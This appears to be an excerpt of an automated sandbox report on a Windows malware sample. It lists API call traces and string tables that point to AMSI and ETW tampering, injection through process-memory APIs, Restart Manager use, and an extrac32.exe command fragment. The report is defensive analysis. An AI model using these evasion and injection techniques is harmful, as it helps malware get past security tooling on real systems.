Part of subcall function 03F7C4DC: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 03F7C588
Part of subcall function 03F7C4DC: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 03F7C591

Part of subcall function 03F67E3C: GetFileAttributesA.KERNEL32(00000000,?,03F81133,ScanString,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC,ScanBuffer,03FC5344,03F88FEC,ScanString), ref: 03F67E47

Part of subcall function 03F68004: CreateDirectoryA.KERNEL32(00000000,00000000,?,03F81324,ScanBuffer,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC,Initialize,03FC5344,03F88FEC,ScanString,03FC5344,03F88FEC), ref: 03F68011

Strings

EtwEventWrite, xrefs: 03F889F3
CreateProcessWithLogonW, xrefs: 03F881EC
acS, xrefs: 03F819B0
SLGetGenuineInformation, xrefs: 03F87622
ntdll, xrefs: 03F87DDB, 03F87E0E, 03F87E41, 03F87E74, 03F87EA7, 03F88740, 03F88773, 03F887A6, 03F887D9, 03F8880C, 03F8883F, 03F88872, 03F888A5, 03F888D8, 03F8890B, 03F8893E, 03F88971, 03F889A4, 03F889D7, 03F88A0A
WriteVirtualMemory, xrefs: 03F88450
LdrGetProcedureAddress, xrefs: 03F88927
CryptSIPGetSignedDataMsg, xrefs: 03F7DAEB
ScanBuffer, xrefs: 03F7D639, 03F7DA0F, 03F7DC39, 03F7E17E, 03F7E28B, 03F7E392, 03F7E755, 03F7E8F3, 03F7EA99, 03F7EBB9, 03F7ED4E, 03F7EE46, 03F7F0AF, 03F7F255, 03F7F3F1, 03F7F507, 03F7F595, 03F7F8A9, 03F7FB4A, 03F7FC5B, 03F7FDF8, 03F801A3, 03F802AF, 03F804CD, 03F805EA, 03F80905, 03F809A6, 03F80B1A, 03F80CDA, 03F80E88, 03F81292, 03F81330, 03F81553, 03F816C9, 03F83351, 03F83541, 03F8387B, 03F83B94, 03F83F14, 03F842C9, 03F844F2, 03F846F7, 03F8485D, 03F849D1, 03F84A4D, 03F855DC, 03F8566D, 03F85A9D, 03F85C30, 03F85D8C, 03F85F00, 03F863A1, 03F8660D, 03F8679E, 03F86931, 03F86AD7, 03F86D7A, 03F87053, 03F871EC, 03F873A6, 03F874B4, 03F877EC, 03F87B8A, 03F880B9, 03F88B24
EnumServicesStatusW, xrefs: 03F88174
NtQueryVirtualMemory, xrefs: 03F8875C
@^@, xrefs: 03F7F91F
NtOpenFile, xrefs: 03F8898D
Advapi, xrefs: 03F8816A, 03F88179, 03F88188, 03F88197, 03F881D3, 03F881E2, 03F881F1
endpointdlp, xrefs: 03F87C17, 03F87C4A, 03F87C7D, 03F87CB0
Ntdll, xrefs: 03F8812E, 03F8813D, 03F8814C, 03F8815B
SetUnhandledExceptionFilter, xrefs: 03F884B6
tquery, xrefs: 03F87879
kernel32, xrefs: 03F8839B, 03F883CE, 03F88401, 03F88434, 03F88467, 03F8849A, 03F884CD
IconIndex=, xrefs: 03F84C37
NtDeviceIoControlFile, xrefs: 03F88138
.url, xrefs: 03F83C24
FindCertsByIssuer, xrefs: 03F7D95A
^^Nc, xrefs: 03F7EB0F, 03F7F2CB
DlpCheckIsCloudSyncApp, xrefs: 03F87C33
DllGetClassObject, xrefs: 03F7D824, 03F7DD2B, 03F81239, 03F878C8, 03F88690
RtlAllocateHeap, xrefs: 03F87DF7, 03F87E5D
WinHttp.WinHttpRequest.5.1, xrefs: 03F7FFE9
SxTracerGetThreadContextDebug, xrefs: 03F87895, 03F8865D
NtWaitForSingleObject, xrefs: 03F87E2A
NtMapViewOfSection, xrefs: 03F88828
NtAccessCheck, xrefs: 03F888C1
EnumServicesStatusA, xrefs: 03F88165
GET, xrefs: 03F80102
WintrustAddActionID, xrefs: 03F7D927
URL=file:", xrefs: 03F84BE3
NtQueryDirectoryFile, xrefs: 03F88147
FlushInstructionCache, xrefs: 03F88483
DllGetActivationFactory, xrefs: 03F7DD5E
NtCreateSection, xrefs: 03F887F5
psapi, xrefs: 03F87912
BCryptRegisterProvider, xrefs: 03F7DC00
NtGetWriteWatch, xrefs: 03F88729
Kernel32, xrefs: 03F881B5, 03F881C4, 03F88200
DlpNotifyPreDragDrop, xrefs: 03F87C00
NtReadVirtualMemory, xrefs: 03F8885B
C:\\Users\\Public\\Libraries\\, xrefs: 03F84000
CryptSIPVerifyIndirectData, xrefs: 03F7DAB8, 03F8792E
C:\Users\Public\Libraries, xrefs: 03F7E647
iexpress.exe, xrefs: 03F7E300
bcrypt, xrefs: 03F7DBB1, 03F7DBE4, 03F7DC17, 03F87A70
GetProxyDllInfo, xrefs: 03F7D84B
ieproxy, xrefs: 03F7D835, 03F7D85C, 03F7D883
DlpGetWebSiteAccess, xrefs: 03F87C99
C:\\Windows\\System32\\extrac32.exe /C /Y , xrefs: 03F8433B
ScanString, xrefs: 03F7D8A2, 03F7D993, 03F7DB24, 03F7DCB5, 03F7DF3E, 03F7E05D, 03F7E5D2, 03F7F1D9, 03F7F375, 03F7F7B1, 03F7F9CC, 03F7FA48, 03F7FD65, 03F8008B, 03F80354, 03F80791, 03F80BC2, 03F80DD2, 03F810A1, 03F833CD, 03F83449, 03F835E3, 03F83928, 03F83CEC, 03F8437E, 03F84B64, 03F84CD9, 03F84D91, 03F853EC, 03F85886, 03F85CED, 03F86310, 03F86ECD, 03F872AE, 03F875AC, 03F87967, 03F87D4E, 03F87F45, 03F8830E, 03F885E7
VirtualProtect, xrefs: 03F883EA
can, xrefs: 03F819C3
C:\Users\Public\, xrefs: 03F83C19, 03F84E7D
CreateProcessAsUserA, xrefs: 03F881CE
DlpGetArchiveFileTraceInfo, xrefs: 03F87C66
HotKey=, xrefs: 03F84D6B
wintrust, xrefs: 03F7D90E, 03F7D93E, 03F7D971
BCryptVerifySignature, xrefs: 03F7DB9A, 03F87A59
RtlQueryProcessDebugInformation, xrefs: 03F88156
GetProcessMemoryInfo, xrefs: 03F878FB
MZP, xrefs: 03F87145
NtOpenSection, xrefs: 03F887C2
SLLoadApplicationPolicies, xrefs: 03F876BB
NtQuerySecurityObject, xrefs: 03F8888E
UacUninitialize, xrefs: 03F8145B, 03F81745
VirtualAllocEx, xrefs: 03F883B7
RtlCreateQueryDebugBuffer, xrefs: 03F87E90
sppc, xrefs: 03F87639, 03F8766C, 03F8769F, 03F876D2, 03F886DA, 03F8870D
OpenProcess, xrefs: 03F8841D
EnumServicesStatusExW, xrefs: 03F88192
EnumProcessModules, xrefs: 03F881A1
psapi, xrefs: 03F881A6
EtwEventWriteEx, xrefs: 03F889C0
NtQueryInformationThread, xrefs: 03F8878F
http, xrefs: 03F7FDD5
SLGetSLIDList, xrefs: 03F87655
CreateProcessA, xrefs: 03F881B0
UacScan, xrefs: 03F7D7C9, 03F7DDCA, 03F7DEC2, 03F7E45E, 03F7F033, 03F7F611, 03F7FF73, 03F80686, 03F815CF, 03F817C1, 03F818DC, 03F83A20, 03F83F90, 03F841D1, 03F84476, 03F84583, 03F847E1, 03F848D9, 03F85468, 03F8580A, 03F85A21, 03F85BB4, 03F85E84, 03F86294, 03F8641D, 03F86515, 03F866A6, 03F86839, 03F869DF, 03F86BDC, 03F86DF6, 03F86FD7, 03F87170, 03F87422
BCryptQueryProviderRegistration, xrefs: 03F7DBCD
LdrLoadDll, xrefs: 03F888F4
mssip32, xrefs: 03F7DA9C, 03F7DACF, 03F7DB02, 03F87945
Initialize, xrefs: 03F7D701, 03F7E4DA, 03F7E65D, 03F7E7FB, 03F7E9A1, 03F7EC56, 03F7F2F9, 03F7F735, 03F7FBDF, 03F7FCE9, 03F803D0, 03F80702, 03F80A22, 03F80D56, 03F81147, 03F814D7, 03F83707, 03F83A9C, 03F83E98, 03F8405D, 03F84155, 03F843FA, 03F845FF, 03F85560, 03F86218, 03F86B60, 03F87770, 03F87B0E, 03F8803D, 03F884EF, 03F88A2C
RetailTracerEnable, xrefs: 03F87862
SLGetEncryptedPIDEx, xrefs: 03F886F6
CreateProcessW, xrefs: 03F881BF
smartscreenps, xrefs: 03F7DD42, 03F7DD75, 03F7DDA8
NtAlertResumeThread, xrefs: 03F87DC4
NtQuerySystemInformation, xrefs: 03F88129
SLGatherMigrationBlob, xrefs: 03F886C3
UacInitialize, xrefs: 03F7D765, 03F7DE46, 03F7E556, 03F83783, 03F83C70, 03F85765, 03F86CFE, 03F88216
DEEX, xrefs: 03F7D612
TrustOpenStores, xrefs: 03F7D8FD
SLIsGenuineLocalEx, xrefs: 03F87688
C:\Windows\SysWOW64, xrefs: 03F81837
DllRegisterServer, xrefs: 03F7D872, 03F7DD91
VirtualAlloc, xrefs: 03F88384
sppwmi, xrefs: 03F886A7
[InternetShortcut], xrefs: 03F84BD4
CreateProcessAsUserW, xrefs: 03F881DD, 03F881FB
spp, xrefs: 03F878AC, 03F878DF, 03F88674
EnumServicesStatusExA, xrefs: 03F88183
NtWriteVirtualMemory, xrefs: 03F8895A
C:\Windows\System32\, xrefs: 03F7E0D9, 03F857E3
CryptSIPGetInfo, xrefs: 03F7DA85
OpenSession, xrefs: 03F7D69D, 03F7DFE1, 03F7E102, 03F7E20F, 03F7E316, 03F7E6D9, 03F7E877, 03F7EA1D, 03F7EB3D, 03F7ECD2, 03F7EDCA, 03F7EFB7, 03F7F15D, 03F7F48B, 03F7F6B9, 03F7F82D, 03F7F950, 03F7FACE, 03F7FE74, 03F7FEF7, 03F8000F, 03F80127, 03F80233, 03F80451, 03F8056E, 03F8080D, 03F80889, 03F80A9E, 03F80C3E, 03F80F04, 03F81025, 03F811C3, 03F813AC, 03F81860, 03F834C5, 03F8365F, 03F837FF, 03F839A4, 03F83B18, 03F83D68, 03F83E1C, 03F840D9, 03F8424D, 03F8467B, 03F84955, 03F84AC9, 03F84C5D, 03F84E0D, 03F854E4, 03F856E9, 03F85902, 03F859A5, 03F85B38, 03F85E08, 03F8619C, 03F86499, 03F86591, 03F86722, 03F868B5, 03F86A5B, 03F86C58, 03F86F49, 03F870CF, 03F8732A, 03F87530, 03F876F4, 03F879E3, 03F87A92, 03F87CD2, 03F87EC9, 03F87FC1, 03F88292, 03F8856B, 03F88AA8

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$AttributesModuleNamePath$AddressCloseCreateDirectoryHandleInetInformationLibraryLoadName_OfflineOpenProcQueryRead
String ID: .url$@^@$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\Libraries$C:\Windows\SysWOW64$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\extrac32.exe /C /Y $CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$DEEX$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$^^Nc$acS$bcrypt$can$endpointdlp$http$ieproxy$iexpress.exe$kernel32$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$tquery$wintrust
API String ID: 2725267379-582383607
Opcode ID: 2f3fd9a5f7d2507eaa797eec9a4266c2f5103a502a733896ad3a9c506cf0e16e
Instruction ID: ac565d20ce058e4745f19f9bcc3158cb2fb92e45b3d134c8e30f620cdd0a77ba
Opcode Fuzzy Hash: 2f3fd9a5f7d2507eaa797eec9a4266c2f5103a502a733896ad3a9c506cf0e16e
Instruction Fuzzy Hash: 5204C839A543598FCB14FB65DD90EDEB3BAAB85300F5041A2E008EF265DB71AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 1603CB50 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Psapi,GetProcessImageFileNameW,?,?,?,?,1602E9E1), ref: 1603CB65
GetProcAddress.KERNEL32(00000000), ref: 1603CB6E
GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,1602E9E1), ref: 1603CB85
GetProcAddress.KERNEL32(00000000), ref: 1603CB88
LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,1602E9E1), ref: 1603CB9A
GetProcAddress.KERNEL32(00000000), ref: 1603CB9D
LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,1602E9E1), ref: 1603CBAE
GetProcAddress.KERNEL32(00000000), ref: 1603CBB1
LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,1602E9E1), ref: 1603CBC3
GetProcAddress.KERNEL32(00000000), ref: 1603CBC6
LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,1602E9E1), ref: 1603CBD2
GetProcAddress.KERNEL32(00000000), ref: 1603CBD5
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,1602E9E1), ref: 1603CBE6
GetProcAddress.KERNEL32(00000000), ref: 1603CBE9
GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,1602E9E1), ref: 1603CBFA
GetProcAddress.KERNEL32(00000000), ref: 1603CBFD
LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,1602E9E1), ref: 1603CC0E
GetProcAddress.KERNEL32(00000000), ref: 1603CC11
GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,1602E9E1), ref: 1603CC22
GetProcAddress.KERNEL32(00000000), ref: 1603CC25
GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,1602E9E1), ref: 1603CC36
GetProcAddress.KERNEL32(00000000), ref: 1603CC39
GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,1602E9E1), ref: 1603CC4A
GetProcAddress.KERNEL32(00000000), ref: 1603CC4D
GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,1602E9E1), ref: 1603CC5E
GetProcAddress.KERNEL32(00000000), ref: 1603CC61
GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,1602E9E1), ref: 1603CC72
GetProcAddress.KERNEL32(00000000), ref: 1603CC75
LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,1602E9E1), ref: 1603CC83
GetProcAddress.KERNEL32(00000000), ref: 1603CC86
LoadLibraryA.KERNEL32(kernel32,GetConsoleWindow,?,?,?,?,1602E9E1), ref: 1603CC97
GetProcAddress.KERNEL32(00000000), ref: 1603CC9A
GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,1602E9E1), ref: 1603CCA7
GetProcAddress.KERNEL32(00000000), ref: 1603CCAA
GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,1602E9E1), ref: 1603CCB7
GetProcAddress.KERNEL32(00000000), ref: 1603CCBA
LoadLibraryA.KERNEL32(Iphlpapi,GetExtendedTcpTable,?,?,?,?,1602E9E1), ref: 1603CCCC
GetProcAddress.KERNEL32(00000000), ref: 1603CCCF
LoadLibraryA.KERNEL32(Iphlpapi,GetExtendedUdpTable,?,?,?,?,1602E9E1), ref: 1603CCDC
GetProcAddress.KERNEL32(00000000), ref: 1603CCDF
GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,1602E9E1), ref: 1603CCF0
GetProcAddress.KERNEL32(00000000), ref: 1603CCF3
GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,1602E9E1), ref: 1603CD04
GetProcAddress.KERNEL32(00000000), ref: 1603CD07
LoadLibraryA.KERNEL32(Rstrtmgr,RmStartSession,?,?,?,?,1602E9E1), ref: 1603CD19
GetProcAddress.KERNEL32(00000000), ref: 1603CD1C
LoadLibraryA.KERNEL32(Rstrtmgr,RmRegisterResources,?,?,?,?,1602E9E1), ref: 1603CD29
GetProcAddress.KERNEL32(00000000), ref: 1603CD2C
LoadLibraryA.KERNEL32(Rstrtmgr,RmGetList,?,?,?,?,1602E9E1), ref: 1603CD39
GetProcAddress.KERNEL32(00000000), ref: 1603CD3C
LoadLibraryA.KERNEL32(Rstrtmgr,RmEndSession,?,?,?,?,1602E9E1), ref: 1603CD49
GetProcAddress.KERNEL32(00000000), ref: 1603CD4C

Strings

RmRegisterResources, xrefs: 1603CD1E
NtResumeProcess, xrefs: 1603CCAC
Shlwapi, xrefs: 1603CC79
GetExtendedUdpTable, xrefs: 1603CCD1
NtSuspendProcess, xrefs: 1603CC9C
GetMonitorInfoW, xrefs: 1603CC4F
NtQueryInformationProcess, xrefs: 1603CCE1
shcore, xrefs: 1603CB95
Rstrtmgr, xrefs: 1603CD0E, 1603CD18, 1603CD23, 1603CD33, 1603CD43
Iphlpapi, xrefs: 1603CCC1, 1603CCCB, 1603CCD6
IsWow64Process, xrefs: 1603CBD7
Shell32, xrefs: 1603CC04
GlobalMemoryStatusEx, xrefs: 1603CBC8
IsUserAnAdmin, xrefs: 1603CBFF
GetSystemTimes, xrefs: 1603CC63
GetFinalPathNameByHandleW, xrefs: 1603CCF5
EnumDisplayDevicesW, xrefs: 1603CC27
Psapi, xrefs: 1603CB60
GetExtendedTcpTable, xrefs: 1603CCBC
kernel32, xrefs: 1603CBCD, 1603CBDC, 1603CBF0, 1603CC18, 1603CC68, 1603CC8D, 1603CCFA
SetProcessDEPPolicy, xrefs: 1603CC13
RmEndSession, xrefs: 1603CD3E
ntdll, xrefs: 1603CBBD, 1603CBC2, 1603CCA1, 1603CCB1, 1603CCE6
NtUnmapViewOfSection, xrefs: 1603CBB8
Kernel32, xrefs: 1603CB80
RmGetList, xrefs: 1603CD2E
GetComputerNameExW, xrefs: 1603CBEB
EnumDisplayMonitors, xrefs: 1603CC3B
GetProcessImageFileNameW, xrefs: 1603CB5A, 1603CB5F, 1603CB7F
GetConsoleWindow, xrefs: 1603CC88
user32, xrefs: 1603CBA9, 1603CC2C, 1603CC40, 1603CC54
SetProcessDpiAwareness, xrefs: 1603CB8F, 1603CB94, 1603CBA8
RmStartSession, xrefs: 1603CD09

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$HandleModule
String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
API String ID: 4236061018-3687161714
Opcode ID: 79e3cd4f181f5efe6db488c79c14021c5ae5918671eefcac0a530abd190eeabe
Instruction ID: f8c0ac3a4822802095fbebf0385fbf99782b71926c3aaa6c9b49608a9cc5078f
Opcode Fuzzy Hash: 79e3cd4f181f5efe6db488c79c14021c5ae5918671eefcac0a530abd190eeabe
Instruction Fuzzy Hash: 2B4172A0C4136C7ADA18FBB75C9CD5F3EBEE9551963424C56F608E7501DA38D808CF64

Uniqueness

Uniqueness Score: -1.00%

Function 03F85FA0 Relevance: 142.6, APIs: 3, Strings: 77, Instructions: 2643
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03F77BE8: LoadLibraryW.KERNEL32(?,00000000,03F77C9A), ref: 03F77C18
Part of subcall function 03F77BE8: GetModuleHandleW.KERNEL32(?,?,00000000,03F77C9A), ref: 03F77C1E
Part of subcall function 03F77BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 03F77C37

Part of subcall function 03F62EE0: QueryPerformanceCounter.KERNEL32 ref: 03F62EE4

GetCurrentProcess.KERNEL32(00000000,17D78400,00001000,00000040,ScanBuffer,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC,UacScan,03FC5344,03F88FEC,ScanBuffer,03FC5344,03F88FEC), ref: 03F8681D

Part of subcall function 03F77968: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 03F77975
Part of subcall function 03F77968: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 03F7797B
Part of subcall function 03F77968: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 03F7799B

EnumSystemLocalesA.C:\WINDOWS\SYSTEM32\KERNELBASE(16020000,00000000,ScanBuffer,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC,UacScan,03FC5344,03F88FEC,ScanBuffer,03FC5344,03F88FEC,OpenSession,03FC5344), ref: 03F86B4F

Part of subcall function 03F67E18: GetFileAttributesA.KERNEL32(00000000,?,03F7E0EE,ScanString,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC,ScanString,03FC5344,03F88FEC,UacScan,03FC5344,03F88FEC,UacInitialize), ref: 03F67E23

Part of subcall function 03F7C3F8: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,03F7C4CA), ref: 03F7C437
Part of subcall function 03F7C3F8: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 03F7C471
Part of subcall function 03F7C3F8: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 03F7C49E
Part of subcall function 03F7C3F8: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 03F7C4A7

ExitProcess.KERNEL32(00000000,ScanBuffer,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC,Initialize,03FC5344,03F88FEC,ScanString,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC), ref: 03F88B96

Part of subcall function 03F64C24: SysFreeString.OLEAUT32(03F7D42C), ref: 03F64C32

Part of subcall function 03F64C3C: SysFreeString.OLEAUT32 ref: 03F64C4F

Strings

EtwEventWrite, xrefs: 03F889F3
DlpGetArchiveFileTraceInfo, xrefs: 03F87C66
BCryptVerifySignature, xrefs: 03F87A59
CreateProcessWithLogonW, xrefs: 03F881EC
RtlQueryProcessDebugInformation, xrefs: 03F88156
SLGetGenuineInformation, xrefs: 03F87622
GetProcessMemoryInfo, xrefs: 03F878FB
MZP, xrefs: 03F87145
ntdll, xrefs: 03F87DDB, 03F87E0E, 03F87E41, 03F87E74, 03F87EA7, 03F88740, 03F88773, 03F887A6, 03F887D9, 03F8880C, 03F8883F, 03F88872, 03F888A5, 03F888D8, 03F8890B, 03F8893E, 03F88971, 03F889A4, 03F889D7, 03F88A0A
NtOpenSection, xrefs: 03F887C2
WriteVirtualMemory, xrefs: 03F88450
LdrGetProcedureAddress, xrefs: 03F88927
SLLoadApplicationPolicies, xrefs: 03F876BB
EnumServicesStatusW, xrefs: 03F88174
ScanBuffer, xrefs: 03F863A1, 03F8660D, 03F8679E, 03F86931, 03F86AD7, 03F86D7A, 03F87053, 03F871EC, 03F873A6, 03F874B4, 03F877EC, 03F87B8A, 03F880B9, 03F88B24
NtQuerySecurityObject, xrefs: 03F8888E
NtQueryVirtualMemory, xrefs: 03F8875C
NtOpenFile, xrefs: 03F8898D
Advapi, xrefs: 03F8816A, 03F88179, 03F88188, 03F88197, 03F881D3, 03F881E2, 03F881F1
endpointdlp, xrefs: 03F87C17, 03F87C4A, 03F87C7D, 03F87CB0
Ntdll, xrefs: 03F8812E, 03F8813D, 03F8814C, 03F8815B
SetUnhandledExceptionFilter, xrefs: 03F884B6
tquery, xrefs: 03F87879
kernel32, xrefs: 03F8839B, 03F883CE, 03F88401, 03F88434, 03F88467, 03F8849A, 03F884CD
VirtualAllocEx, xrefs: 03F883B7
NtDeviceIoControlFile, xrefs: 03F88138
RtlCreateQueryDebugBuffer, xrefs: 03F87E90
sppc, xrefs: 03F87639, 03F8766C, 03F8769F, 03F876D2, 03F886DA, 03F8870D
OpenProcess, xrefs: 03F8841D
EnumServicesStatusExW, xrefs: 03F88192
EnumProcessModules, xrefs: 03F881A1
DlpCheckIsCloudSyncApp, xrefs: 03F87C33
psapi, xrefs: 03F881A6
DllGetClassObject, xrefs: 03F878C8, 03F88690
EtwEventWriteEx, xrefs: 03F889C0
NtQueryInformationThread, xrefs: 03F8878F
RtlAllocateHeap, xrefs: 03F87DF7, 03F87E5D
SLGetSLIDList, xrefs: 03F87655
SxTracerGetThreadContextDebug, xrefs: 03F87895, 03F8865D
NtWaitForSingleObject, xrefs: 03F87E2A
CreateProcessA, xrefs: 03F881B0
NtMapViewOfSection, xrefs: 03F88828
NtAccessCheck, xrefs: 03F888C1
UacScan, xrefs: 03F86294, 03F8641D, 03F86515, 03F866A6, 03F86839, 03F869DF, 03F86BDC, 03F86DF6, 03F86FD7, 03F87170, 03F87422
EnumServicesStatusA, xrefs: 03F88165
LdrLoadDll, xrefs: 03F888F4
mssip32, xrefs: 03F87945
Initialize, xrefs: 03F86028, 03F86218, 03F86B60, 03F87770, 03F87B0E, 03F8803D, 03F884EF, 03F88A2C
FlushInstructionCache, xrefs: 03F88483
NtQueryDirectoryFile, xrefs: 03F88147
SLGetEncryptedPIDEx, xrefs: 03F886F6
RetailTracerEnable, xrefs: 03F87862
CreateProcessW, xrefs: 03F881BF
NtCreateSection, xrefs: 03F887F5
NtAlertResumeThread, xrefs: 03F87DC4
NtQuerySystemInformation, xrefs: 03F88129
psapi, xrefs: 03F87912
NtGetWriteWatch, xrefs: 03F88729
SLGatherMigrationBlob, xrefs: 03F886C3
Kernel32, xrefs: 03F881B5, 03F881C4, 03F88200
DlpNotifyPreDragDrop, xrefs: 03F87C00
NtReadVirtualMemory, xrefs: 03F8885B
UacInitialize, xrefs: 03F86CFE, 03F88216
SLIsGenuineLocalEx, xrefs: 03F87688
VirtualAlloc, xrefs: 03F88384
CryptSIPVerifyIndirectData, xrefs: 03F8792E
sppwmi, xrefs: 03F886A7
bcrypt, xrefs: 03F87A70
CreateProcessAsUserW, xrefs: 03F881DD, 03F881FB
DlpGetWebSiteAccess, xrefs: 03F87C99
VirtualProtect, xrefs: 03F883EA
ScanString, xrefs: 03F860A4, 03F86310, 03F86ECD, 03F872AE, 03F875AC, 03F87967, 03F87D4E, 03F87F45, 03F8830E, 03F885E7
EnumServicesStatusExA, xrefs: 03F88183
spp, xrefs: 03F878AC, 03F878DF, 03F88674
NtWriteVirtualMemory, xrefs: 03F8895A
CreateProcessAsUserA, xrefs: 03F881CE
OpenSession, xrefs: 03F85FAC, 03F86120, 03F8619C, 03F86499, 03F86591, 03F86722, 03F868B5, 03F86A5B, 03F86C58, 03F86F49, 03F870CF, 03F8732A, 03F87530, 03F876F4, 03F879E3, 03F87A92, 03F87CD2, 03F87EC9, 03F87FC1, 03F88292, 03F8856B, 03F88AA8

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
